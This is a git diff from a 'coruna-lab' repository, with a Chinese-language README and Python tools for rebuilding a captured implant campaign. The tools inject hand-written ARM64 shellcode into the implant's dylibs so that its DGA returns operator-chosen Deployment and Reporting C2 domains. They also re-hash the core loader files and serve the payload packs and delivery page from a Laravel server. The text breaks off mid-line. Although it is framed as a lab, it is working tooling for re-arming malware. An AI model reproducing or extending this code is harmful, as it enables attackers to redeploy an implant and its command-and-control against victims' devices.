rename from server/public/web/eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.js diff --git a/server/public/web/eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.min.js similarity index 100% rename from server/public/web/eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.min.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.min.js diff --git a/server/public/web/f10b572f33adf343a7398487c3f4cc71088b56ab.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/f10b572f33adf343a7398487c3f4cc71088b56ab.js similarity index 100% rename from server/public/web/f10b572f33adf343a7398487c3f4cc71088b56ab.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/f10b572f33adf343a7398487c3f4cc71088b56ab.js diff --git a/server/public/web/f10b572f33adf343a7398487c3f4cc71088b56ab.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/f10b572f33adf343a7398487c3f4cc71088b56ab.min.js similarity index 100% rename from server/public/web/f10b572f33adf343a7398487c3f4cc71088b56ab.min.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/f10b572f33adf343a7398487c3f4cc71088b56ab.min.js diff --git a/server/public/web/f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.js similarity index 100% rename from server/public/web/f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.js diff --git a/server/public/web/f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.min.js similarity index 100% rename from server/public/web/f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.min.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.min.js diff --git a/server/public/web/support.html b/server/public/web/34f5121f572d6742703eb84ec2f866a6/support.html similarity index 100% rename from server/public/web/support.html rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/support.html diff --git a/server/public/web/630c2b42300333d91588353d43afab9ec8325e09.min.js b/server/public/web/630c2b42300333d91588353d43afab9ec8325e09.min.js deleted file mode 100644 index 00c40c1..0000000 Binary files a/server/public/web/630c2b42300333d91588353d43afab9ec8325e09.min.js and /dev/null differ diff --git a/server/public/web/65704c0722165a7bdedad3f3f61258b2f95470f6.min.js b/server/public/web/65704c0722165a7bdedad3f3f61258b2f95470f6.min.js deleted file mode 100644 index 0aee302..0000000 Binary files a/server/public/web/65704c0722165a7bdedad3f3f61258b2f95470f6.min.js and /dev/null differ diff --git a/server/public/web/6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js b/server/public/web/6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js deleted file mode 100644 index 197e049..0000000 Binary files a/server/public/web/6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js and /dev/null differ diff --git a/server/public/web/743312cafb58176af57b89098d94dca1c60f8d1e.min.js b/server/public/web/743312cafb58176af57b89098d94dca1c60f8d1e.min.js deleted file mode 100644 index a635d11..0000000 Binary files a/server/public/web/743312cafb58176af57b89098d94dca1c60f8d1e.min.js and /dev/null differ diff --git a/server/public/web/7cb20652ef7156e931f894dd3d99f24601b80368.min.js b/server/public/web/7cb20652ef7156e931f894dd3d99f24601b80368.min.js deleted file mode 100644 index ffe7f0f..0000000 Binary files a/server/public/web/7cb20652ef7156e931f894dd3d99f24601b80368.min.js and /dev/null differ diff --git a/server/public/web/7f208248c748f97956fe4a7cf246c91235852e67.min.js b/server/public/web/7f208248c748f97956fe4a7cf246c91235852e67.min.js deleted file mode 100644 index abc7266..0000000 Binary files a/server/public/web/7f208248c748f97956fe4a7cf246c91235852e67.min.js and /dev/null differ diff --git a/tools/README.md b/tools/README.md index 0ef474b..c4abe3b 100644 --- a/tools/README.md +++ b/tools/README.md @@ -1,105 +1,100 @@ -# coruna-lab 工具:DGA seed 替换 +# coruna-lab 工具:DGA seed / 固定域名 -## 新建 / 刷新工作树(推荐) +## 推荐:固定域名列表(多域名探测) -`source/web` + `source/sync` 为 campaign 原样模板。脚本会复制到 **coruna-lab 根目录** 再打补丁: +植入体本身已有「候选列表里哪个可用用哪个」。脚本把 Deployment / Reporting 的 DGA 生成替换为你给的域名列表,并同步改: + +- core(`erupt_flee.js` + `daily.html` 的 sha256/size) +- 全部 type0x01 二级包(10 个 `.min.js`) ```bash cd coruna-lab +# 需 py7zr + pycryptodome(macOS 可用 /usr/bin/python3;Homebrew python 建议 venv) pip3 install py7zr pycryptodome -python3 tools/new_project.py +python3 tools/new_project.py \ + --deployment-domains 'www.dep1.example,www.dep2.example' \ + --reporting-domains 'www.rep1.example,www.rep2.example,www.rep3.example' ``` -等价于: - -1. `source/web` → `coruna-lab/web`(覆盖) -2. `source/sync` → `coruna-lab/sync`(覆盖) -3. `python3 tools/patch_all.py --apply --root .` - -产物: - -- `web/…`、`sync/` — 可服务树(二级包 + daily/erupt 已换 seed) -- `out/seeds.json` — 本次 seed -- `out/domains.json` — Deployment / Reporting 候选域名 - -常用选项: +也支持重复传参: ```bash -python3 tools/new_project.py --skip-patch # 只复制,不打补丁 +python3 tools/new_project.py \ + --deployment-domains www.dep1.example \ + --deployment-domains www.dep2.example \ + --reporting-domains www.rep1.example \ + --reporting-domains www.rep2.example +``` + +产物(`new_project.py` 写入 `server/public/`): + +- `server/public/web/…`、`server/public/sync/` — 可直接由 Laravel public 提供 +- `server/public/out/seeds.json` — 内部仍写入 seed(供池身份匹配) +- `server/public/out/domains.json` — 最终生效的域名列表 +- `server/public/out/sync/MANIFEST.json` — core sha/size + domains + +约束: + +- 每池最多 **8** 个域名,单域名 ≤ 63 ASCII +- 可写 `https://host`(会自动去掉 scheme/path/port) +- 部署后把这些域名 DNS/hosts 指到你的 lab server(443) +- Deployment 需响应 `/sync/daily.html`;Reporting 需 `/api/user/query` → `OK` +- `daily.html` 打到 **Deployment 域名**(不是投递站 `/web/...`);type-0x01 起来后才会请求 +- 固定域名 shellcode 曾有 callee-saved 寄存器未保存的 bug(会在探测前崩);请用当前 `tools/_domain_patch.py` 重新 `--apply` 后再部署 `web/` + `sync/` +- macOS 建议用 `/usr/bin/python3`(需 `py7zr` + `pycryptodome`);Homebrew 3.14 常缺 `Crypto` + +--- + +## 仅重建(已有 server/public web/sync) + +```bash +# 若尚无 web/ + sync/,--apply 会自动从 source/ 复制一份 +python3 tools/patch_all.py --apply --root server/public \ + --deployment-domains 'www.dep1.example,www.dep2.example' \ + --reporting-domains 'www.rep1.example,www.rep2.example' +``` + +--- + +## 旧模式:只换 DGA seed(算域名) + +不传 `--*-domains` 时行为与以前相同:随机/指定 seed,DGA 生成候选域名。 + +```bash +python3 tools/new_project.py +# 或 python3 tools/new_project.py \ --deployment-seed 09d0b8d58a71653cd1c89c64c866f2e6 \ --reporting-seed 2d2aebba0bf3d7d694194a7ab93b0a96 ``` ---- +### Seed 格式 -## 仅重建(已有根目录 web/sync) - -```bash -python3 tools/patch_all.py --root . -# 写入根目录 web/ + sync/: -python3 tools/patch_all.py --apply --root . -``` - -`--apply` **必须**带 `--root`,且不会写入 `source/`。 - -也可手动指定 seed:`--deployment-seed … --reporting-seed …`。 +- ASCII,长度 ≤ 32(二进制槽位定长 32) +- 推荐正好 32 个十六进制字符 +- Deployment / Reporting 各一个 --- -## 当前(原 campaign)seed - -需要提供 **2 个** seed(Deployment + Reporting),不是一个。 - -| 角色 | 原 seed(正好 32 字符 hex) | -|------|-----------------------------| -| Deployment(dev)DGA | `09d0b8d58a71653cd1c89c64c866f2e6` | -| Reporting DGA | `2d2aebba0bf3d7d694194a7ab93b0a96` | - -### 格式要求 - -- ASCII,**长度 ≤ 32**(二进制槽位定长 32;更长会破坏相邻字符串) -- **推荐正好 32 个十六进制字符**(与原样一致) -- 短于 32 可以,脚本会在槽位内用 `NUL` 填充 -- Deployment / Reporting **各提供一个**,彼此独立 - -依赖: - -```bash -pip3 install py7zr pycryptodome -``` - -源 dylib 仍读自 `coruna-online/`;未 `--apply` 时产物写到 `out/`(或 `/out/`)。 -`--apply` 覆盖的是 **工作树** 的 `web/…/*.min.js`(二级)与 `sync/{daily.html,erupt_flee.js}`。 - ---- - -## 1. 二级包:改 seed → 重打 10 个 `.min.js` +## 分步脚本 ```bash +# 二级包 type0x01 python3 tools/patch_secondary_packs.py \ - --deployment-seed <32hex> \ - --reporting-seed <32hex> \ - --root . \ - --apply -``` + --deployment-seed <32hex> --reporting-seed <32hex> \ + --deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \ + --root . --apply -## 2. Core / daily - -```bash +# core + daily 校验 python3 tools/patch_core.py \ - --deployment-seed <32hex> \ - --reporting-seed <32hex> \ - --root . \ - --apply -``` + --deployment-seed <32hex> --reporting-seed <32hex> \ + --deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \ + --root . --apply -## 3. 只算域名 - -```bash +# 只算 DGA 域名(固定域名模式不需要) python3 tools/compute_dga_domains.py \ - --deployment-seed <32hex> \ - --reporting-seed <32hex> \ - -n 5 + --deployment-seed <32hex> --reporting-seed <32hex> -n 5 ``` + +源 dylib 仍读自 `coruna-online/`;`--apply` 写入工作树 `web/` + `sync/`(不会写 `source/`)。 diff --git a/tools/_common.py b/tools/_common.py index 3aa086f..d4d14c8 100644 --- a/tools/_common.py +++ b/tools/_common.py @@ -66,10 +66,14 @@ def set_tree_root(root: Path) -> Path: def ensure_tree_layout(root: Path) -> None: camp = root / "web" / CAMPAIGN_HASH sync = root / "sync" - if not camp.is_dir(): - raise SystemExit(f"missing campaign dir: {camp}") - if not sync.is_dir(): - raise SystemExit(f"missing sync dir: {sync}") + if not camp.is_dir() or not sync.is_dir(): + raise SystemExit( + f"missing working tree under {root} (need web/{CAMPAIGN_HASH}/ and sync/).\n" + f"Run first:\n" + f" python3 tools/new_project.py --skip-patch\n" + f"or directly:\n" + f" python3 tools/new_project.py --deployment-domains '...' --reporting-domains '...'" + ) def pack_seed(value: str) -> bytes: diff --git a/tools/_domain_patch.py b/tools/_domain_patch.py new file mode 100644 index 0000000..07159a2 --- /dev/null +++ b/tools/_domain_patch.py @@ -0,0 +1,621 @@ +"""Patch PLServerPool DGA helper to return fixed domain lists (probe/failover kept).""" + +from __future__ import annotations + +import struct +from dataclasses import dataclass, field + +from _common import OLD_DEP, OLD_REP, pack_seed + +_SUB_SP_E0 = 0xD10383FF +_MURMUR = bytes.fromhex("21368f52e1c6b372") +_NOP = 0xD503201F + +MAX_DOMAINS_PER_POOL = 8 +MAX_DOMAIN_LEN = 63 + + +@dataclass +class SlicePatch: + file_offset: int + size: int + cpu_subtype: int + + +@dataclass +class SliceInfo: + blob: bytes + file_offset: int + cpu_subtype: int + sections: dict[str, tuple[int, int]] = field(default_factory=dict) # name -> (vm/file off, size) + + @property + def is_arm64e(self) -> bool: + return bool(self.cpu_subtype & 0x80000000) + + +def iter_slices(data: bytes) -> list[SlicePatch]: + magic = struct.unpack_from("I", data, 4)[0] + out: list[SlicePatch] = [] + for i in range(nfat): + o = 8 + i * 20 + _ct, cs, soff, ssize, _align = struct.unpack_from(">IIIII", data, o) + out.append(SlicePatch(soff, ssize, cs)) + return out + return [SlicePatch(0, len(data), 0)] + + +def _parse_slice(data: bytes, sl: SlicePatch) -> SliceInfo: + blob = data[sl.file_offset : sl.file_offset + sl.size] + info = SliceInfo(blob=blob, file_offset=sl.file_offset, cpu_subtype=sl.cpu_subtype) + _magic, _ct, _cs, _ft, ncmds = struct.unpack_from(" str: + value = raw.strip() + if not value: + raise SystemExit("empty domain") + for prefix in ("https://", "http://"): + if value.lower().startswith(prefix): + value = value[len(prefix) :] + value = value.split("/")[0].strip() + if ":" in value: + host, port = value.rsplit(":", 1) + if port.isdigit(): + value = host + if len(value) > MAX_DOMAIN_LEN: + raise SystemExit(f"domain longer than {MAX_DOMAIN_LEN}: {value!r}") + if not all(32 <= ord(ch) < 127 for ch in value): + raise SystemExit(f"domain must be ASCII: {value!r}") + return value + + +def parse_domain_list(values: list[str] | None, *, label: str) -> list[str]: + if not values: + raise SystemExit(f"{label}: provide at least one domain") + out: list[str] = [] + for item in values: + for part in str(item).split(","): + part = part.strip() + if part: + out.append(normalize_domain(part)) + if not out: + raise SystemExit(f"{label}: provide at least one domain") + if len(out) > MAX_DOMAINS_PER_POOL: + raise SystemExit(f"{label}: at most {MAX_DOMAINS_PER_POOL} domains") + seen: set[str] = set() + uniq: list[str] = [] + for d in out: + if d not in seen: + seen.add(d) + uniq.append(d) + return uniq + + +def pack_domain_tables(dep: list[str], rep: list[str]) -> tuple[bytes, bytes]: + def one(domains: list[str]) -> bytes: + return bytes([len(domains)]) + b"".join(d.encode("ascii") + b"\x00" for d in domains) + + return one(dep), one(rep) + + +def _enc_bl(pc: int, target: int) -> int: + imm = (target - pc) // 4 + if not (-0x2000000 <= imm < 0x2000000): + raise SystemExit(f"bl out of range {pc:#x}->{target:#x}") + return 0x94000000 | (imm & 0x3FFFFFF) + + +def _enc_b(pc: int, target: int) -> int: + imm = (target - pc) // 4 + if not (-0x2000000 <= imm < 0x2000000): + raise SystemExit(f"b out of range {pc:#x}->{target:#x}") + return 0x14000000 | (imm & 0x3FFFFFF) + + +def _enc_adr(rd: int, pc: int, target: int) -> int: + imm = target - pc + if not (-1048576 <= imm < 1048576): + raise SystemExit(f"adr out of range {pc:#x}->{target:#x}") + immlo = imm & 3 + immhi = (imm >> 2) & 0x7FFFF + return 0x10000000 | (immlo << 29) | (immhi << 5) | rd + + +def _enc_adrp(rd: int, pc: int, target: int) -> int: + imm = (target >> 12) - (pc >> 12) + if not (-1048576 <= imm < 1048576): + raise SystemExit(f"adrp out of range {pc:#x}->{target:#x}") + immlo = imm & 3 + immhi = (imm >> 2) & 0x1FFFFF + return 0x90000000 | (immlo << 29) | (immhi << 5) | rd + + +def _enc_ldr64_uoff(rt: int, rn: int, offset: int) -> int: + if offset % 8: + raise SystemExit("ldr offset must be 8-aligned") + imm12 = offset // 8 + if not (0 <= imm12 <= 0xFFF): + raise SystemExit(f"ldr offset too large: {offset}") + return 0xF9400000 | (imm12 << 10) | (rn << 5) | rt + + +def _decode_ptr(raw: int, blob_len: int) -> int | None: + """Decode plain or dyld-chained rebase pointer to a file/vm offset.""" + if 0 < raw < blob_len: + return raw + # dyld_chained_ptr_64_rebase / arm64e variants: low 36 bits often hold target + target = raw & ((1 << 36) - 1) + if 0 < target < blob_len: + return target + return None + + +def _find_cfstring_for_cstring(info: SliceInfo, cstring_off: int) -> int: + blob = info.blob + # Fast path: plain pointer + ptr = struct.pack("= 16: + cfs = i - 16 + length = struct.unpack_from(" int: + blob = info.blob + name_off = blob.find(name + b"\x00") + if name_off < 0: + raise SystemExit(f"missing selector {name!r}") + + selrefs: list[int] = [] + # plain + ptr = struct.pack("> 29) & 3 + immhi = (ins >> 5) & 0x1FFFFF + imm = (immhi << 2) | immlo + if imm & (1 << 20): + imm -= 1 << 21 + page = ((i >> 12) + imm) << 12 + ins2 = struct.unpack_from("> 10) & 0xFFF + if page + imm12 * 8 == selref: + return i + raise SystemExit(f"missing objc stub for selector {name!r}") + + +def _find_classrefs(info: SliceInfo, body: int) -> tuple[int, int]: + blob = info.blob + cr_off, cr_size = info.sections.get("__objc_classrefs", (0x127E80, 0x400)) + cr_lo, cr_hi = cr_off, cr_off + cr_size + hits: list[int] = [] + + # LDR literal (common in arm64) + for pc in range(body, body + 0x100, 4): + ins = struct.unpack_from("> 5) & 0x7FFFF + if imm19 & 0x40000: + imm19 -= 0x80000 + lit = pc + imm19 * 4 + if cr_lo <= lit < cr_hi: + hits.append(lit) + + # ADRP+LDR + for pc in range(body, body + 0x100, 4): + ins = struct.unpack_from("> 29) & 3 + immhi = (ins >> 5) & 0x1FFFFF + imm = (immhi << 2) | immlo + if imm & (1 << 20): + imm -= 1 << 21 + page = ((pc >> 12) + imm) << 12 + if not (cr_lo <= page < cr_hi or cr_lo <= page + 0xFFF < cr_hi + 0x1000): + continue + ins2 = struct.unpack_from("> 5) & 0x1F) != rd: + continue + imm12 = (ins2 >> 10) & 0xFFF + lit = page + imm12 * 8 + if cr_lo <= lit < cr_hi: + hits.append(lit) + + # de-dupe preserve order + uniq: list[int] = [] + for h in hits: + if h not in uniq: + uniq.append(h) + if len(uniq) >= 2: + return uniq[0], uniq[1] + if len(uniq) == 1: + # NSString classref usually follows NSMutableArray + return uniq[0], uniq[0] + 8 + # last resort: first two slots + return cr_off, cr_off + 8 + + +def _collect_branch_targets( + blob: bytes, lo: int, hi: int, *, ops: tuple[int, ...] = (0x94000000,) +) -> list[int]: + out: list[int] = [] + for i in range(lo, min(hi, len(blob) - 4), 4): + ins = struct.unpack_from(" tuple[int, int, int]: + idx = blob.find(_MURMUR) + if idx < 0: + raise SystemExit("DGA murmur constant not found") + body = None + for back in range(0, 0x300, 4): + addr = idx - back + if addr >= 0 and struct.unpack_from("= 8: + ins_b = struct.unpack_from(" len(blob): + break + if struct.unpack_from(" dict[str, int]: + """Map objc_retain / release / retainAutoreleased / autoreleaseReturnValue stubs.""" + early = _collect_branch_targets(blob, body, body + 0x50, ops=(0x94000000,)) + all_bl = _collect_branch_targets(blob, body, end, ops=(0x94000000,)) + all_b = _collect_branch_targets(blob, body, end, ops=(0x14000000,)) + if not early: + raise SystemExit("DGA helper has no early bl (objc_retain)") + retain = early[0] + page = retain & ~0xFFF + # libobjc stub island on same 4K page + island = sorted({t for t in (all_bl + all_b) if (t & ~0xFFF) == page}) + if retain not in island: + island = sorted(set(island + [retain])) + # Typical layout near retain: ... autoreleaseReturn, release, retain, retainAutoreleased + lower = [t for t in island if t < retain] + higher = [t for t in island if t > retain] + release = lower[-1] if lower else None + auto_ret = lower[-2] if len(lower) >= 2 else (lower[0] if lower else None) + retain_auto = higher[0] if higher else None + # Fallbacks if ordering differs + if release is None and len(island) >= 2: + release = next((t for t in island if t != retain), None) + if retain_auto is None and len(island) >= 3: + retain_auto = next((t for t in island if t not in (retain, release)), None) + if auto_ret is None: + auto_ret = next((t for t in all_b if (t & ~0xFFF) == page), None) + if None in (retain, release, retain_auto, auto_ret): + raise SystemExit( + f"runtime stubs incomplete island={[hex(x) for x in island]} " + f"retain={retain!r} release={release!r} retainAuto={retain_auto!r} autoRet={auto_ret!r}" + ) + return { + "retain": retain, + "release": release, + "retainAutoreleased": retain_auto, + "autoreleaseReturn": auto_ret, + } + + +def _apply_shellcode( + blob: bytes, + *, + entry: int, + end: int, + stubs: dict[str, int], + class_array: int, + class_string: int, + dep_cf: int, + rep_cf: int, + dep_pack: bytes, + rep_pack: bytes, + label: str, +) -> bytes: + avail = end - entry + code: list[int] = [] + labels: dict[str, int] = {} + pending: list[tuple[int, str, str]] = [] + + def pc() -> int: + return entry + len(code) * 4 + + def emit(ins: int) -> None: + code.append(ins & 0xFFFFFFFF) + + def mark(name: str) -> None: + labels[name] = pc() + + def bl(target: int) -> None: + emit(_enc_bl(pc(), target)) + + def b_label(name: str) -> None: + pending.append((len(code), "b", name)) + emit(0) + + def cbz(rt: int, name: str) -> None: + pending.append((len(code), f"cbz{rt}", name)) + emit(0) + + def cbnz(rt: int, name: str) -> None: + pending.append((len(code), f"cbnz{rt}", name)) + emit(0) + + def adr(rd: int, name: str) -> None: + pending.append((len(code), f"adr{rd}", name)) + emit(0) + + def adrp_ldr(rd: int, abs_addr: int) -> None: + p = pc() + emit(_enc_adrp(rd, p, abs_addr)) + emit(_enc_ldr64_uoff(rd, rd, abs_addr & 0xFFF)) + + # Save every callee-saved reg we touch (x19-x22, x25). Omitting these + # corrupts _generateDomainsLocked and aborts before any /sync probe. + emit(0xA9BC7BFD) # stp x29, x30, [sp, #-0x40]! + emit(0xA9014FF4) # stp x20, x19, [sp, #0x10] + emit(0xA90257F6) # stp x22, x21, [sp, #0x20] + emit(0xA90367FA) # stp x26, x25, [sp, #0x30] + emit(0x910103FD) # add x29, sp, #0x40 + emit(0xAA0003F3) # mov x19, x0 ; seed + bl(stubs["retain"]) + + emit(0xAA1303E0) + adr(2, "dep_cf") + bl(stubs["isEqualToString"]) + cbz(0, "check_rep") + adr(21, "dep_table") + b_label("build") + + mark("check_rep") + emit(0xAA1303E0) + adr(2, "rep_cf") + bl(stubs["isEqualToString"]) + cbz(0, "empty") + adr(21, "rep_table") + b_label("build") + + mark("empty") + adrp_ldr(0, class_array) + emit(0xD2800002) + bl(stubs["arrayWithCapacity"]) + bl(stubs["retainAutoreleased"]) + emit(0xAA0003F4) + b_label("done") + + mark("build") + emit(0x394002B6) + emit(0x910006B5) + adrp_ldr(0, class_array) + emit(0x2A1603E2) + bl(stubs["arrayWithCapacity"]) + bl(stubs["retainAutoreleased"]) + emit(0xAA0003F4) + + mark("loop") + cbz(22, "done") + adrp_ldr(0, class_string) + emit(0xAA1503E2) + bl(stubs["stringWithUTF8"]) + bl(stubs["retainAutoreleased"]) + emit(0xAA0003F9) + emit(0xAA1403E0) + emit(0xAA1903E2) + bl(stubs["addObject"]) + emit(0xAA1903E0) + bl(stubs["release"]) + mark("scan") + emit(0x394002A8) + emit(0x910006B5) + cbnz(8, "scan") + emit(0x510006D6) + b_label("loop") + + mark("done") + emit(0xAA1303E0) # mov x0, x19 + bl(stubs["release"]) + emit(0xAA1403E0) # mov x0, x20 ; NSArray* + emit(0xA94367FA) # ldp x26, x25, [sp, #0x30] + emit(0xA94257F6) # ldp x22, x21, [sp, #0x20] + emit(0xA9414FF4) # ldp x20, x19, [sp, #0x10] + emit(0xA8C47BFD) # ldp x29, x30, [sp], #0x40 + emit(_enc_b(pc(), stubs["autoreleaseReturn"])) + + table_off = entry + len(code) * 4 + if table_off % 4: + while (entry + len(code) * 4) % 4: + emit(_NOP) + table_off = entry + len(code) * 4 + dep_table = table_off + rep_table = table_off + len(dep_pack) + abs_map = { + "dep_cf": dep_cf, + "rep_cf": rep_cf, + "dep_table": dep_table, + "rep_table": rep_table, + } + + for idx, kind, name in pending: + p = entry + idx * 4 + if kind.startswith("adr"): + rd = int(kind[3:]) + code[idx] = _enc_adr(rd, p, abs_map[name]) + continue + target = labels[name] + imm19 = (target - p) // 4 + if kind == "b": + code[idx] = _enc_b(p, target) + elif kind.startswith("cbz"): + rt = int(kind[3:]) + code[idx] = 0x34000000 | ((imm19 & 0x7FFFF) << 5) | rt + elif kind.startswith("cbnz"): + rt = int(kind[4:]) + code[idx] = 0x35000000 | ((imm19 & 0x7FFFF) << 5) | rt + else: + raise SystemExit(f"{label}: bad fixup {kind}") + + payload = b"".join(struct.pack(" avail: + raise SystemExit( + f"{label}: need {len(payload)} bytes, only {avail} free in DGA region" + ) + + new_blob = bytearray(blob) + new_blob[entry : entry + avail] = payload + b"\x00" * (avail - len(payload)) + return bytes(new_blob) + + +def patch_fixed_domains_in_dylib( + data: bytes, + deployment_domains: list[str], + reporting_domains: list[str], + *, + deployment_seed: str, + reporting_seed: str, + label: str, +) -> bytes: + dep = parse_domain_list(deployment_domains, label="deployment") + rep = parse_domain_list(reporting_domains, label="reporting") + dep_pack, rep_pack = pack_domain_tables(dep, rep) + out = bytearray(data) + seed_dep = pack_seed(deployment_seed) + seed_rep = pack_seed(reporting_seed) + + for si, sl in enumerate(iter_slices(data)): + info = _parse_slice(bytes(out), sl) + # re-parse from current out + info = _parse_slice(bytes(out), sl) + blob = info.blob + entry, body, end = _discover_dga(blob) + + dep_cs = blob.find(seed_dep) + rep_cs = blob.find(seed_rep) + if dep_cs < 0 or rep_cs < 0: + dep_cs = blob.find(OLD_DEP) + rep_cs = blob.find(OLD_REP) + if dep_cs < 0 or rep_cs < 0: + raise SystemExit(f"{label} slice{si}: seed cstrings not found") + + dep_cf = _find_cfstring_for_cstring(info, dep_cs) + rep_cf = _find_cfstring_for_cstring(info, rep_cs) + runtime = _resolve_runtime_stubs(blob, body, end) + stubs = { + **runtime, + "isEqualToString": _find_stub_for_selector(info, b"isEqualToString:"), + "arrayWithCapacity": _find_stub_for_selector(info, b"arrayWithCapacity:"), + "addObject": _find_stub_for_selector(info, b"addObject:"), + "stringWithUTF8": _find_stub_for_selector(info, b"stringWithUTF8String:"), + } + class_array, class_string = _find_classrefs(info, body) + patched = _apply_shellcode( + blob, + entry=entry, + end=end, + stubs=stubs, + class_array=class_array, + class_string=class_string, + dep_cf=dep_cf, + rep_cf=rep_cf, + dep_pack=dep_pack, + rep_pack=rep_pack, + label=f"{label}/slice{si}", + ) + out[sl.file_offset : sl.file_offset + sl.size] = patched + print( + f"{label} slice{si}: fixed domains @ {entry:#x}..{end:#x} " + f"dep={len(dep)} rep={len(rep)} arm64e={info.is_arm64e}" + ) + + return bytes(out) diff --git a/tools/new_project.py b/tools/new_project.py index fe51d7b..69c8a22 100644 --- a/tools/new_project.py +++ b/tools/new_project.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -"""Reset lab-root web/ + sync/ from source/, then patch_all --apply (new DGA seeds/domains).""" +"""Reset server/public web/ + sync/ from source/, then patch_all --apply.""" from __future__ import annotations @@ -12,6 +12,7 @@ from pathlib import Path TOOLS = Path(__file__).resolve().parent LAB_ROOT = TOOLS.parent SOURCE_ROOT = LAB_ROOT / "source" +APPLY_ROOT = LAB_ROOT / "server" / "public" CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6" @@ -29,8 +30,8 @@ def replace_tree(src: Path, dst: Path) -> None: def main() -> int: parser = argparse.ArgumentParser( description=( - "Copy source/web + source/sync to coruna-lab root, then run " - "patch_all.py --apply --root (fresh Deployment/Reporting domains)." + "Copy source/web + source/sync to server/public, then run " + "patch_all.py --apply --root server/public." ) ) parser.add_argument( @@ -41,20 +42,35 @@ def main() -> int: "--reporting-seed", help="optional; forwarded to patch_all (default: random)", ) + parser.add_argument( + "--deployment-domains", + action="append", + default=[], + help="fixed Deployment hosts (comma-separated or repeatable)", + ) + parser.add_argument( + "--reporting-domains", + action="append", + default=[], + help="fixed Reporting hosts (comma-separated or repeatable)", + ) parser.add_argument( "-n", "--count", type=int, default=5, - help="DGA candidates to print per pool (default 5)", + help="DGA candidates to print when not using fixed domains (default 5)", ) parser.add_argument( "--skip-patch", action="store_true", - help="only copy source trees to lab root; do not run patch_all", + help="only copy source trees to server/public; do not run patch_all", ) args = parser.parse_args() + if bool(args.deployment_domains) != bool(args.reporting_domains): + raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither") + src_web = SOURCE_ROOT / "web" src_sync = SOURCE_ROOT / "sync" if not (src_web / CAMPAIGN_HASH).is_dir(): @@ -62,12 +78,13 @@ def main() -> int: if not src_sync.is_dir(): raise SystemExit(f"missing source sync: {src_sync}") - dst_web = LAB_ROOT / "web" - dst_sync = LAB_ROOT / "sync" + APPLY_ROOT.mkdir(parents=True, exist_ok=True) + dst_web = APPLY_ROOT / "web" + dst_sync = APPLY_ROOT / "sync" - print("=== reset lab root from source ===") + print("=== reset server/public from source ===") print(f"from: {SOURCE_ROOT}") - print(f"to: {LAB_ROOT}/{{web,sync}}") + print(f"to: {APPLY_ROOT}/{{web,sync}}") replace_tree(src_web, dst_web) replace_tree(src_sync, dst_sync) print(f"copied web/ ({CAMPAIGN_HASH}) + sync/") @@ -81,7 +98,7 @@ def main() -> int: str(TOOLS / "patch_all.py"), "--apply", "--root", - str(LAB_ROOT), + str(APPLY_ROOT), "-n", str(args.count), ] @@ -89,21 +106,27 @@ def main() -> int: cmd += ["--deployment-seed", args.deployment_seed] if args.reporting_seed: cmd += ["--reporting-seed", args.reporting_seed] + for item in args.deployment_domains: + cmd += ["--deployment-domains", item] + for item in args.reporting_domains: + cmd += ["--reporting-domains", item] print() print("=== patch_all --apply ===") print("+", " ".join(cmd), flush=True) subprocess.run(cmd, cwd=str(LAB_ROOT), check=True) + out_root = APPLY_ROOT / "out" print() print("=== ready ===") print(f"web: {dst_web / CAMPAIGN_HASH}") print(f"sync: {dst_sync}") - print(f"seeds: {LAB_ROOT / 'out' / 'seeds.json'}") - print(f"domains: {LAB_ROOT / 'out' / 'domains.json'}") + print(f"seeds: {out_root / 'seeds.json'}") + print(f"domains: {out_root / 'domains.json'}") print() - print("serve example:") - print(f" cd {LAB_ROOT} && python3 -m http.server 8765 --bind 0.0.0.0") + print("served by Laravel public:") + print(f" /web/{CAMPAIGN_HASH}/support.html") + print(" /sync/daily.html") return 0 diff --git a/tools/patch_all.py b/tools/patch_all.py index 6579864..ed81cac 100644 --- a/tools/patch_all.py +++ b/tools/patch_all.py @@ -1,17 +1,20 @@ #!/usr/bin/env python3 -"""All-in-one: generate seeds, rebuild secondary packs + core/daily, print DGA domains.""" +"""All-in-one: patch secondary packs + core/daily (DGA seeds or fixed domain lists).""" from __future__ import annotations import argparse import json import secrets +import shutil import subprocess import sys from pathlib import Path TOOLS = Path(__file__).resolve().parent LAB_ROOT = TOOLS.parent +SOURCE_ROOT = LAB_ROOT / "source" +CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6" def gen_seed() -> str: @@ -24,20 +27,53 @@ def run(cmd: list[str]) -> None: subprocess.run(cmd, cwd=str(LAB_ROOT), check=True) +def _ignore_junk(_dir: str, names: list[str]) -> set[str]: + skip = {"_bak", "__pycache__", ".DS_Store"} + return {n for n in names if n in skip or 